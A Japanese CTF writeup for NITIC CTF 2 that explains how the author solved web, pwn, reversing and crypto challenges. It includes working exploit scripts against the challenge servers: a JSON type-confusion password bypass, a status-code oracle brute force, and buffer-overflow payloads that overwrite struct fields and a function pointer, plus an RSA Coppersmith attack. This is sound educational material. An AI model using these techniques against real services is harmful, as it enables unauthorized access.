NITIC CTF 2 参加記
はじめに
NITIC CTF 2にVLANouroborosのHK_ilohasとして参加しました。Cryptoばっかりやってる初心者なので、普段手を付けない他ジャンルの問題も若干解けて嬉しかったです。Webのweb_meta
とlong flag
は別のメンバーが解いたので、それ以外の自分が解いた問題のwriteupを書きます。
[Web] password
怪しげなパスワードチェックをしている問題です。
password = "".join([secrets.choice(string.ascii_letters) for _ in range(32)])
def fuzzy_equal(input_pass, password):
if len(input_pass) != len(password):
return False
for i in range(len(input_pass)):
if input_pass[i] in "0oO":
c = "0oO"
elif input_pass[i] in "l1I":
c = "l1I"
else:
c = input_pass[i]
if all([ci != password[i] for ci in c]):
return False
return True
この部分で、もしc
がstring.ascii_letters
だったら通るのでは?となりました。
else:
c = input_pass[i]
if all([ci != password[i] for ci in c]):
return False
というわけで、string.ascii_letters
x 32 のJSONを送りつけてみました。
$ curl -X POST -H "Content-Type: application/json" -d '{"pass": ["abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"]}' http://34.146.80.178:8001/flag
nitic_ctf{s0_sh0u1d_va11dat3_j50n_sch3m3}
nitic_ctf{s0_sh0u1d_va11dat3_j50n_sch3m3}
[Web] password fixed
前問のような非想定解が使えないように修正が入りました。
def fuzzy_equal(input_pass, password):
if len(input_pass) != len(password):
return False
for i in range(len(input_pass)):
if input_pass[i] in "0oO":
if password[i] not in "0oO":
return False
continue
if input_pass[i] in "l1I":
if password[i] not in "l1I":
return False
continue
if input_pass[i] != password[i]:
return False
return True
色々とローカルで試してみたところ、リストのリストを送りつけるとlistとstringの比較になり、500が返ってくることが分かりました。
import requests
import json
input_pass = [[] for _ in range(32)]
response = requests.post(
"http://localhost:8080/flag",
json.dumps({"pass": input_pass}),
headers={"Content-Type": "application/json"}
)
127.0.0.1 - - [06/Sep/2021 21:30:23] "POST /flag HTTP/1.1" 500 -
普通にパスワードが違う場合は401が返されるため、これを利用してパスワードを1文字ずつ探索することができます。最後の1文字は200が返ってくるまで試しました。
import requests
import json
import string
input_pass = [[] for _ in range(32)]
for i in range(32):
for c in string.ascii_letters:
input_pass[i] = c
response = requests.post(
"http://34.146.80.178:8002/flag",
json.dumps({"pass": input_pass}),
headers={"Content-Type": "application/json"}
)
if response.status_code == 500:
print("".join(input_pass[:i+1]))
break
elif response.status_code == 200:
print("".join(input_pass[:i+1]))
print(response.text)
break
$ python3 solve.py
r
rm
rmW
rmWt
rmWtc
rmWtcm
rmWtcmb
rmWtcmbN
rmWtcmbNU
rmWtcmbNUo
rmWtcmbNUoK
rmWtcmbNUoKP
rmWtcmbNUoKPo
rmWtcmbNUoKPoM
rmWtcmbNUoKPoME
rmWtcmbNUoKPoMEC
rmWtcmbNUoKPoMECA
rmWtcmbNUoKPoMECAt
rmWtcmbNUoKPoMECAtY
rmWtcmbNUoKPoMECAtYw
rmWtcmbNUoKPoMECAtYwX
rmWtcmbNUoKPoMECAtYwXK
rmWtcmbNUoKPoMECAtYwXKx
rmWtcmbNUoKPoMECAtYwXKxy
rmWtcmbNUoKPoMECAtYwXKxyo
rmWtcmbNUoKPoMECAtYwXKxyoC
rmWtcmbNUoKPoMECAtYwXKxyoCb
rmWtcmbNUoKPoMECAtYwXKxyoCbb
rmWtcmbNUoKPoMECAtYwXKxyoCbbt
rmWtcmbNUoKPoMECAtYwXKxyoCbbtX
rmWtcmbNUoKPoMECAtYwXKxyoCbbtXN
rmWtcmbNUoKPoMECAtYwXKxyoCbbtXNo
nitic_ctf{s0_sh0u1d_va11dat3_un1nt3nd3d_s0lut10n}
nitic_ctf{s0_sh0u1d_va11dat3_un1nt3nd3d_s0lut10n}
[Pwn] pwn monster 1
モンスターの名前を入力すると、BOFでHPとATKを書き換えられる問題です。
typedef struct {
char name[16];
int64_t hp;
int64_t attack;
} Monster;
$ nc 35.200.120.35 9001
____ __ __ _
| _ \__ ___ __ | \/ | ___ _ __ ___| |_ ___ _ __
| |_) \ \ /\ / / '_ \| |\/| |/ _ \| '_ \/ __| __/ _ \ '__|
| __/ \ V V /| | | | | | | (_) | | | \__ \ || __/ |
|_| \_/\_/ |_| |_|_| |_|\___/|_| |_|___/\__\___|_|
Press Any Key
Welcome to Pwn Monster World!
I'll give your first monster!
Let's give your monster a name!
+--------+--------------------+----------------------+
|name | 0x0000000000000000 | |
| | 0x0000000000000000 | |
|HP | 0x0000000000000064 | 100 |
|ATK | 0x000000000000000a | 10 |
+--------+--------------------+----------------------+
Input name: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+--------+--------------------+----------------------+
|name | 0x6161616161616161 | aaaaaaaa |
| | 0x6161616161616161 | aaaaaaaa |
|HP | 0x6161616161616161 | 7016996765293437281 |
|ATK | 0x6161616161616161 | 7016996765293437281 |
+--------+--------------------+----------------------+
OK, Nice name.
Let's battle with Rival! If you win, give you FLAG.
[You] aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaapwnchu HP: 7016996765293437281
[Rival] pwnchu HP: 9999
Your Turn.
Rival monster took 7016996765293437281 damage!
[You] aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaapwnchu HP: 7016996765293437281
[Rival] pwnchu HP: -7016996765293427282
Win!
nitic_ctf{We1c0me_t0_pwn_w0r1d!}
*** stack smashing detected ***: terminated
Aborted (core dumped)
pwnchuにクスッと笑いましたw
nitic_ctf{We1c0me_t0_pwn_w0r1d!}
[Pwn] pwn monster 2
今度は改ざんしたとしても、HPとATKの和が一致しないとダメだよーって問題です。
void give_monster_name(Monster *monster) {
printf("Let's give your monster a name!\n");
print_monster_infomation(*monster);
int64_t checksum = monster->hp + monster->attack;
printf("Checksum: %ld\n", checksum);
printf("Input name: ");
scanf("%s%*c", monster->name);
print_monster_infomation(*monster);
printf("Checksum: %ld\n", monster->hp + monster->attack);
if (monster->hp + monster->attack != checksum) {
puts("Detect cheat.");
exit(1);
}
puts("OK, Nice name.");
}
$ nc 35.200.120.35 9002
____ __ __ _
| _ \__ ___ __ | \/ | ___ _ __ ___| |_ ___ _ __
| |_) \ \ /\ / / '_ \| |\/| |/ _ \| '_ \/ __| __/ _ \ '__|
| __/ \ V V /| | | | | | | (_) | | | \__ \ || __/ |
|_| \_/\_/ |_| |_|_| |_|\___/|_| |_|___/\__\___|_|
Press Any Key
Welcome to Pwn Monster World!
I'll give first monster!
Let's give your monster a name!
+--------+--------------------+----------------------+
|name | 0x0000000000000000 | |
| | 0x0000000000000000 | |
|HP | 0x0000000000000064 | 100 |
|ATK | 0x000000000000000a | 10 |
+--------+--------------------+----------------------+
Checksum: 110
Input name: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+--------+--------------------+----------------------+
|name | 0x6161616161616161 | aaaaaaaa |
| | 0x6161616161616161 | aaaaaaaa |
|HP | 0x6161616161616161 | 7016996765293437281 |
|ATK | 0x6161616161616161 | 7016996765293437281 |
+--------+--------------------+----------------------+
Checksum: -4412750543122677054
Detect cheat.
ここで、Monster
構造体の定義を見直してみると、hp
とattack
は符号付き64ビット整数でした。そのため、MSBが1のときは補数を取って負の値になります。
typedef struct {
char name[16];
int64_t hp;
int64_t attack;
} Monster;
hp
が負だと誕生した瞬間から死んでるので、attack
を負の値にして調整しました。
from pwn import *
r = remote("35.200.120.35", 9002)
r.recvuntil(b"Input name: ")
payload = b"a" * 16
payload += b"\xff" * 7 + b"\x7f"
payload += b"\x6f" + b"\x00" * 6 + b"\x80"
r.sendline(payload)
r.interactive()
$ python3 solve.py
[+] Opening connection to 35.200.120.35 on port 9002: Done
[*] Switching to interactive mode
+--------+--------------------+----------------------+
|name | 0x6161616161616161 | aaaaaaaa |
| | 0x6161616161616161 | aaaaaaaa |
|HP | 0x7fffffffffffffff | 9223372036854775807 |
|ATK | 0x800000000000006f | -9223372036854775697 |
+--------+--------------------+----------------------+
Checksum: 110
OK, Nice name.
Let's battle with Rival! If you win, give you FLAG.
[You] aaaaaaaaaaaaaaaa\xff\xff\xff\xff\xff\xff\xff\x7fo HP: 9223372036854775807
[Rival] pwnchu HP: 9999
Your Turn.
Rival monster took -9223372036854775697 damage!
[You] aaaaaaaaaaaaaaaa\xff\xff\xff\xff\xff\xff\xff\x7fo HP: 9223372036854775807
[Rival] pwnchu HP: -9223372036854765920
Win!
nitic_ctf{buffer_and_1nteger_overfl0w}
久しぶりに補数を考えたので、脳がバグりました・・・
nitic_ctf{buffer_and_1nteger_overfl0w}
[Pwn] pwn monster 3
Monster
構造体に関数ポインタが増えている問題です。
typedef struct {
char name[16];
int64_t hp;
int64_t attack;
char* (*cry)();
} Monster;
+--------+--------------------+----------------------+
|name | 0x0000000000000000 | |
| | 0x0000000000000000 | |
|HP | 0x0000000000000064 | 100 |
|ATK | 0x000000000000000a | 10 |
|cry() | 0x000055e5c3d7734e | |
+--------+--------------------+----------------------+
cry
をshow_flag
のアドレスに書き換えてあげるとフラグが出そうです。しかし、この問題ではPIEが有効なので、表示されているcry
のアドレスから0x134eを引いて、Base Addressを計算する必要があります。
000000000000134e <my_monster_cry>:
134e: f3 0f 1e fa endbr64
1352: 55 push rbp
1353: 48 89 e5 mov rbp,rsp
1356: 48 8d 05 5d 0e 00 00 lea rax,[rip+0xe5d] # 21ba <_IO_stdin_used+0x1ba>
135d: 5d pop rbp
135e: c3 ret
後は、求まったBase Addressにshow_flag
のアドレスを足したものを送りつけます。
0000000000001286 <show_flag>:
1286: f3 0f 1e fa endbr64
128a: 55 push rbp
128b: 48 89 e5 mov rbp,rsp
128e: 48 81 ec 20 01 00 00 sub rsp,0x120
1295: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
from pwn import *
r = remote("35.200.120.35", 9003)
r.recvuntil(b"cry() |")
cry_addr = r.recvuntil(b"|").replace(b"|", b"")
cry_addr = int(cry_addr.strip(), 16)
base_addr = cry_addr - 0x134e
show_flag_addr = base_addr + 0x1286
r.recvuntil(b"Input name:")
payload = b"a" * 32
payload += p64(show_flag_addr)
r.sendline(payload)
r.interactive()
$ python3 solve.py
[+] Opening connection to 35.200.120.35 on port 9003: Done
[*] Switching to interactive mode
+--------+--------------------+----------------------+
|name | 0x6161616161616161 | aaaaaaaa |
| | 0x6161616161616161 | aaaaaaaa |
|HP | 0x6161616161616161 | 7016996765293437281 |
|ATK | 0x6161616161616161 | 7016996765293437281 |
|cry() | 0x0000557d143bf286 | |
+--------+--------------------+----------------------+
OK, Nice name.
Let's battle with Rival! If you win, give you FLAG.
[You] aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x86\xf2;}U HP: 7016996765293437281
[Rival] pwnchu HP: 9999
Your Turn.
nitic_ctf{rewrite_function_pointer_is_fun}
nitic_ctf{rewrite_function_pointer_is_fun}
[Misc] Excel
Excelでフラグを文字列検索するだけです。
nitic_ctf{plz_find_me}
[Misc] image_conv
いい感じに2値化処理をかけました。
nitic_ctf{high_contrast}
[Misc] braincheck
Brainf*ckの問題です。
>,>,[>+>+<<-]>>[<<+>>-]<<[-<->]<-----[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++[<----->-]<-[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<------[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<----[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<--[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<----[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++[<----->-]<----[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++[<----->-]<--[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<--[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<----[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<-[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++[<----->-]<[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<---[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<---------[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<------[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++++++[<----->-]<-[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++[<----->-]<----[<+>[-]]>>[<<+>>-]<,>>+<<<[-]<[[-]>+++++++++++++++++[<+++++>-]<++.>+++++[<+++++>-]<++.---.-.-------.>>>>-<<<<[-]]>>>>[[-]>+++++++++++++[<+++++>-]<++.>++++++++[<+++++>-]<++++.+++..>++[<----->-]<---.--.>+++[<+++++>-]<++.[-]]
Brainf*ckの各記号は次の意味を持ちます。
記号 | 意味 |
---|---|
> |
ポインタを右に1つ移動する |
< |
ポインタを左に1つ移動する |
+ |
セルの値を1増やす |
- |
セルの値を1減らす |
. |
セルの内容を出力する |
, |
入力を受け取り、セルにセットする |
[ |
セルの値が0なら対応する] にジャンプする |
] |
対応する[ にジャンプする |
これに従って素直にプログラムを読みました。
>,>,[>+>+<<-]
>>[<<+>>-]
<<[-<->]
<-----[<+>[-]]
最初の文字をn
、その次の文字をc1
とすると、[<+>[-]]
が実行されないためには、n - c1 - 5
が0
になる必要があります。よって、c1
は110 - 5 = 105
でi
になります。
>>[<<+>>-]
<,[>+>+<<-]
>>[<<+>>-]
<<[-<->]
<>+++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]
<[<+>[-]]
同様に見ていくと、c2 = n - 5 - 49*5 = -140
と負の値が出てきます。しかし、1セル8ビットなので、-140 + 256 = 116
でt
となります。これを頑張って続けていくとフラグが得られます。
nitic_ctf{esoteric?}
[Rev] protected
strings
で出てきたそれっぽい文字列を入力しました。
$ ./chall
PASSWORD: sUp3r_s3Cr37_P4s5w0Rd
nitic_ctf{hardcode_secret}
nitic_ctf{hardcode_secret}
[Rev] report or repeat
PDFが暗号化されている問題です。暗号化処理の部分をGhidraで読んでみると、256バイトずつ置換とXORをしていました。
for (i = 0; i < 0x100; i = i + 1) {
*(byte *)(param_2 + i) =
PTR_DAT_00104120[*(byte *)(param_1 + (ulong)(byte)(&DAT_00104020)[i])] ^
*(byte *)((long)&local_118 + (long)i);
}
Ghidra Scriptで頑張ってデータを取り出して、復号処理を書きました。
data_118 = [0x72, 0x1e, 0xec, 0x52, 0x38, 0xe9, 0xb5, 0xc2, 0x46, 0x47, 0x75, 0x1f, 0x53, 0xf, 0xea, 0x27, 0xcf, 0x57, 0xd7, 0x6e, 0x8c, 0x8c, 0x89, 0x2a, 0xf2, 0x86, 0x8a, 0x7b, 0x19, 0x7a, 0x2e, 0x1, 0xab, 0x15, 0x8, 0xd3, 0x2b, 0x5b, 0x9f, 0x7c, 0x86, 0xde, 0x5d, 0x98, 0x3c, 0x6f, 0x82, 0x58, 0xf2, 0xea, 0x85, 0x62, 0xa5, 0x77, 0xf3, 0x9e, 0x3e, 0x37, 0x10, 0x8b, 0x9e, 0xa0, 0x71, 0x1b, 0xce, 0x9d, 0x7e, 0x2f, 0xb3, 0x17, 0x1, 0x65, 0x14, 0x5c, 0x79, 0x2f, 0xad, 0xe1, 0x28, 0xf9, 0x55, 0x92, 0x3a, 0x69, 0x1f, 0x12, 0x5e, 0xa6, 0x41, 0xa4, 0xdb, 0xda, 0x47, 0x3b, 0xe3, 0x28, 0x8, 0x9, 0xe9, 0x9c, 0xfa, 0x22, 0x7c, 0x62, 0xd2, 0x5, 0x28, 0x86, 0x95, 0xe4, 0x45, 0x8e, 0xd2, 0xe7, 0xeb, 0x66, 0xed, 0x58, 0x64, 0x42, 0xba, 0xa9, 0x70, 0x21, 0xa0, 0x91, 0x51,
0x68, 0xff, 0x7e, 0xa9, 0x6c, 0x12, 0x33, 0xbb, 0x7a, 0xde, 0x1b, 0xe0, 0xed, 0xce, 0x7c, 0x4, 0x1, 0xcf, 0x23, 0x17, 0x36, 0x78, 0x1b, 0x6, 0xd3, 0x5e, 0x25, 0x5e, 0x98, 0x86, 0x50, 0x4a, 0xd, 0x31, 0xc, 0x39, 0x96, 0x6e, 0x72, 0x2b, 0xc2, 0xf, 0x31, 0xdd, 0x4c, 0xd7, 0x44, 0xa9, 0xf9, 0xb7, 0xed, 0x40, 0xb9, 0x68, 0x73, 0xa6, 0xb0, 0xef, 0x3e, 0x2e, 0x37, 0x3, 0xb6, 0xe4, 0x4c, 0xcb, 0x5d, 0x83, 0x74, 0x10, 0xf0, 0x54, 0x62, 0xc1, 0x28, 0xdf, 0x5c, 0xff, 0xa7, 0x6e, 0x84, 0x59, 0x39, 0xeb, 0x63, 0xa0, 0x5b, 0x17, 0x3d, 0x97, 0xee, 0xcb, 0x8b, 0x21, 0x7b, 0x77, 0x98, 0xd5, 0xa9, 0x59, 0x44, 0x8d, 0x38, 0x70, 0x6, 0xef, 0x7b, 0x63, 0x10, 0x7, 0x44, 0x51, 0xe9, 0x89, 0x29, 0xce, 0x3d, 0x5a, 0x4a, 0xc, 0x33, 0x32, 0x21, 0x65, 0xd1, 0x6d, 0x7f, 0xd5, 0x81]
data_102008 = [6, 140, 119, 134, 17, 237, 37, 137, 102, 100, 121, 125, 201, 13, 165, 153, 68, 107, 113, 71, 170, 158, 27, 10, 195, 191, 30, 110, 166, 130, 240, 97, 132, 53, 66, 144, 135, 178, 176, 194, 61, 244, 18, 115, 69, 62, 233, 205, 38, 65, 51, 164, 91, 45, 83, 232, 58, 197, 188, 24, 229, 186, 129, 235, 88, 159, 73, 204, 47, 172, 207, 138, 11, 72, 36, 156, 162, 180, 21, 208, 31, 25, 211, 22, 243, 7, 75, 120, 128, 52, 226, 49, 193, 87, 0, 126, 94, 112, 84, 33, 105, 155, 70, 106, 182, 203, 154, 64, 185, 23, 109, 89, 252, 234, 96, 50, 223, 117, 227, 98, 56, 167, 133, 215, 3, 241, 131,
181, 85, 95, 238, 253, 173, 14, 108, 163, 32, 192, 19, 8, 2, 90, 114, 157, 93, 251, 136, 147, 249, 57, 116, 216, 210, 79, 4, 103, 63, 206, 225, 77, 213, 202, 44, 148, 43, 219, 9, 42, 55, 231, 149, 41, 78, 34, 1, 15, 220, 212, 200, 86, 122, 20, 248, 184, 48, 67, 168, 169, 245, 141, 92, 171, 111, 150, 26, 35, 74, 12, 46, 81, 214, 146, 199, 82, 142, 228, 76, 101, 104, 151, 187, 5, 221, 190, 239, 139, 183, 152, 118, 196, 218, 179, 123, 161, 54, 160, 145, 175, 246, 250, 224, 16, 39, 28, 189, 254, 80, 222, 124, 242, 177, 174, 198, 217, 230, 60, 209, 127, 255, 99, 29, 236, 59, 143, 40, 247]
data_104020 = [87, 133, 14, 59, 165, 47, 76, 10, 113, 117, 213, 5, 255, 11, 68, 42, 212, 181, 17, 250, 103, 35, 189, 172, 156, 71, 157, 34, 90, 239, 99, 57, 229, 191, 126, 70, 100, 227, 46, 209, 185, 64, 146, 136, 169, 163, 2, 80, 196, 53, 125, 54, 207, 233, 184, 150, 173, 152, 102, 116, 134, 195, 236, 15, 28, 81, 232, 31, 193, 217, 22, 127, 192, 168, 244, 52, 194, 25, 55, 234, 24, 66, 139, 237, 218, 161, 40, 30, 60, 110, 167, 138, 9, 149, 148, 109, 158, 61, 74, 143, 140, 39, 95, 231, 222, 248, 224, 114, 106, 130, 145, 235, 8, 249, 245, 226, 33, 45, 225, 243, 198, 186, 122, 115, 1, 93,
206, 63, 89, 238, 203, 96, 65, 210, 88, 246, 180, 85, 120, 98, 112, 78, 178, 164, 187, 219, 220, 41, 155, 151, 247, 36, 118, 75, 147, 160, 67, 204, 123, 230, 56, 162, 101, 197, 216, 58, 38, 141, 105, 199, 188, 7, 37, 177, 94, 251, 176, 19, 119, 175, 73, 153, 205, 202, 4, 190, 108, 183, 86, 107, 23, 128, 135, 43, 69, 129, 142, 104, 241, 83, 51, 166, 253, 211, 13, 44, 20, 124, 32, 131, 144, 79, 26, 137, 240, 254, 50, 223, 214, 6, 27, 208, 170, 174, 121, 221, 132, 228, 3, 18, 154, 111, 171, 215, 29, 62, 201, 12, 159, 48, 16, 84, 179, 242, 21, 97, 92, 182, 49, 91, 77, 200, 252, 72, 82, 0]
fin = open("./report.pdf.enc", "rb")
fout = open("./decrypt.pdf", "wb")
while enc := fin.read(0x100):
output = [0 for _ in range(0x100)]
for i in range(0x100):
val = data_102008.index(enc[i] ^ data_118[i])
output[data_104020[i]] = val
fout.write(bytes(output))
nitic_ctf{xor+substitution+block-cipher}
[Crypto] Caesar Cipher
フラグの中身がシーザー暗号で暗号化されています。 暗号化されたフラグの中身は
fdhvdu
です。nitic_ctf{復号したフラグの中身}
を提出してください
単純なシーザー暗号です。
nitic_ctf{caesar}
[Crypto] ord_xor
import os
flag = os.environ["FLAG"]
def xor(c: str, n: int) -> str:
temp = ord(c)
for _ in range(n):
temp ^= n
return chr(temp)
enc_flag = ""
for i in range(len(flag)):
enc_flag += xor(flag[i], i)
with open("./flag", "w") as f:
f.write(enc_flag)
ループ変数でXORしてるだけなので、同じ処理をしたらOK。
def xor(c: str, n: int) -> str:
temp = ord(c)
for _ in range(n):
temp ^= n
return chr(temp)
enc = "nhtjcZcsfroydRx`rl"
flag = ""
for i, c in enumerate(enc):
flag += xor(c, i)
print(flag)
$ python3 solve.py
nitic_ctf{ord_xor}
nitic_ctf{ord_xor}
[Crypto] tanitu_kanji
import os
alphabets = "abcdefghijklmnopqrstuvwxyz0123456789{}_"
after1 = "fl38ztrx6q027k9e5su}dwp{o_bynhm14aicjgv"
after2 = "rho5b3k17pi_eytm2f94ujxsdvgcwl{}a086znq"
format = os.environ["FORMAT"]
flag = os.environ["FLAG"]
assert len(format) == 10
def conv(s: str, table: str) -> str:
res = ""
for c in s:
i = alphabets.index(c)
res += table[i]
return res
for f in format:
if f == "1":
flag = conv(flag, after1)
else:
flag = conv(flag, after2)
with open("./flag", "w") as file:
file.write(flag)
せいぜい1024通りしかないので、簡単に総当りできます。
def conv(s: str, table: str) -> str:
res = ""
for c in s:
i = table.index(c)
res += alphabets[i]
return res
alphabets = "abcdefghijklmnopqrstuvwxyz0123456789{}_"
after1 = "fl38ztrx6q027k9e5su}dwp{o_bynhm14aicjgv"
after2 = "rho5b3k17pi_eytm2f94ujxsdvgcwl{}a086znq"
enc = "l0d0pipdave0dia244im6fsp8x"
for n in range(2**10):
flag = enc
F = "{:010b}".format(n)
for f in F:
if f == "1":
flag = conv(flag, after1)
else:
flag = conv(flag, after2)
print(flag)
$ python3 solve.py | grep nitic
nitic_ctf{bit_full_search}
nitic_ctf{bit_full_search}
[Crypto] summeRSA
from Crypto.Util.number import *
from random import getrandbits
with open("flag.txt", "rb") as f:
flag = f.read()
assert len(flag) == 18
p = getStrongPrime(512)
q = getStrongPrime(512)
N = p * q
m = bytes_to_long(b"the magic words are squeamish ossifrage. " + flag)
e = 7
d = pow(e, -1, (p - 1) * (q - 1))
c = pow(m, e, N)
print(f"N = {N}")
print(f"e = {e}")
print(f"c = {c}")
nitic_ctf{}
という書式なので、未知の部分は7バイトだけです。そのため、Coppersmith法で未知の部分が計算できます。未知の部分を寝ぼけて8バイトだと思ったせいで、謎に苦戦してました・・・
from Crypto.Util.number import long_to_bytes, bytes_to_long
N = 139144195401291376287432009135228874425906733339426085480096768612837545660658559348449396096584313866982260011758274989304926271873352624836198271884781766711699496632003696533876991489994309382490275105164083576984076280280260628564972594554145121126951093422224357162795787221356643193605502890359266274703
e = 7
c = 137521057527189103425088525975824332594464447341686435497842858970204288096642253643188900933280120164271302965028579612429478072395471160529450860859037613781224232824152167212723936798704535757693154000462881802337540760439603751547377768669766050202387684717051899243124941875016108930932782472616565122310
m_bar = b"the magic words are squeamish ossifrage. nitic_ctf{" + b"\x00"*7 + b"}"
m_bar = bytes_to_long(m_bar)
PR.<x> = PolynomialRing(Zmod(N))
f = (m_bar + x * 2^8)^e - c
f = f.monic()
diff = f.small_roots(X=2^56)[0]
m = m_bar + diff * 2^8
print(long_to_bytes(m).decode())
$ sage solve.sage
the magic words are squeamish ossifrage. nitic_ctf{k01k01!}
nitic_ctf{k01k01!}
Discussion